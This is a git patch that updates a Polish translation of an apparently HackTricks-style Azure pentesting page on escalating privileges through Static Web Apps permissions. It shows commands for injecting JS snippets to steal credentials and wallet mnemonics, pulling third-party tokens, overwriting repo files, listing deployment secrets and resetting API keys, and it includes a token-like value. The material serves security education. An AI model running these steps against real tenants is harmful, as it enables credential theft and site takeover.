From 630c3f4df688374b0f68c164201323bf234bdc8c Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 12:00:52 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 930eecb92..5a85dcf91 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -Aby uzyskać więcej informacji o tej usłudze, zobacz: +Więcej informacji o tej usłudze znajdziesz w: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ Aby uzyskać więcej informacji o tej usłudze, zobacz: ### Microsoft.Web/staticSites/snippets/write -Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets). +Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML przez utworzenie snippet. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji webowej i wykradzenie poufnych informacji, takich jak poświadczenia czy klucze mnemoniczne (w web3 wallets). -Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app:: +Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez aplikację webową:: ```bash az rest \ --method PUT \ @@ -33,20 +33,20 @@ az rest \ ``` ### Odczyt skonfigurowanych poświadczeń stron trzecich -As explained in the App Service section: +Jak wyjaśniono w sekcji App Service: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta. +Uruchamiając poniższe polecenie można **odczytać skonfigurowane poświadczenia stron trzecich** w bieżącym koncie. Zwróć uwagę, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive. -Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów: +Oto kilka przykładów komend do sprawdzenia tokenów: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Nadpisanie pliku - Nadpisanie tras, HTML, JS... +### Overwrite file - Overwrite routes, HTML, JS... -Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita. +Możliwe jest **nadpisanie pliku w Github repo** zawierającego aplikację przez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita. -To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`. +Może to zostać wykorzystane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`. > [!WARNING] -> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mogą oni także nadpisać plik bezpośrednio z Github. +> Należy pamiętać, że jeśli atakującemu uda się w jakikolwiek sposób przejąć Github repo, może on również nadpisać plik bezpośrednio z Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` -### Microsoft.Web/staticSites/config/write +### Microsoft.Web/staticSites/config/write -Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe: +Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takiego jak poniżej: ```bash # Change password az rest --method put \ @@ -133,38 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej. +To uprawnienie pozwala pobrać **API key deployment token** dla static app. Używając az rest: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -Korzystanie z AzCLI: +Za pomocą AzCLI: ```bash az staticwebapp secrets list --name --resource-group ``` -Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości. +Then, in order to **zaktualizować aplikację przy użyciu tokena** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and parametry could change in the future. > [!TIP] -> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki: +> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać poniższe kroki: -1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`. +1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i wykonaj `cd react-basic`. 2. Zmień kod, który chcesz wdrożyć 3. Wdróż je uruchamiając (pamiętaj, aby zmienić ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API. +> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**. Aby użyć tokena, potrzebujesz uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API. ### Microsoft.Web/staticSites/write -Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action. +Posiadając to uprawnienie można **zmienić źródło static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie przygotowane, ponieważ musi to zostać wykonane z poziomu Github Action. -Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**. +Jednak jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**. -W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`. +W przypadku gdy **Zasada autoryzacji wdrożeń** nie jest ustawiona na **Github**, możesz ją zmienić używając tego samego uprawnienia `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -250,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację. +Dzięki temu uprawnieniu można **zresetować API key of the static web app**, potencjalnie powodując DoSing workflowów, które automatycznie wdrażają aplikację. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą. +To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika** w celu uzyskania dostępu do chronionych ścieżek wewnątrz static web app z określoną rolą. -Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić za pomocą następującego polecenia: +Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić następującym poleceniem: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -272,12 +272,12 @@ az staticwebapp users invite \ ``` ### Pull Requests -Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging. +Domyślnie Pull Requests z gałęzi w tym samym repozytorium są automatycznie kompilowane i budowane w środowisku staging. Może to zostać wykorzystane przez atakującego, który ma uprawnienia zapisu do repo, ale nie potrafi obejść zabezpieczeń gałęzi produkcyjnej (zazwyczaj `main`), aby **wdrożyć złośliwą wersję aplikacji** pod URL środowiska staging. The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**. +> Zauważ, że domyślnie zewnętrzne PR-y nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR do repozytorium. Atakujący mógłby wysłać poprawny PR do repo i **następnie wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona: domyślna Github Action do wdrożenia w static web app wymaga dostępu do secretu zawierającego token wdrożeniowy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli wdrożenie jest wykonywane przy użyciu IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego secretu i nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**. {{#include ../../../banners/hacktricks-training.md}}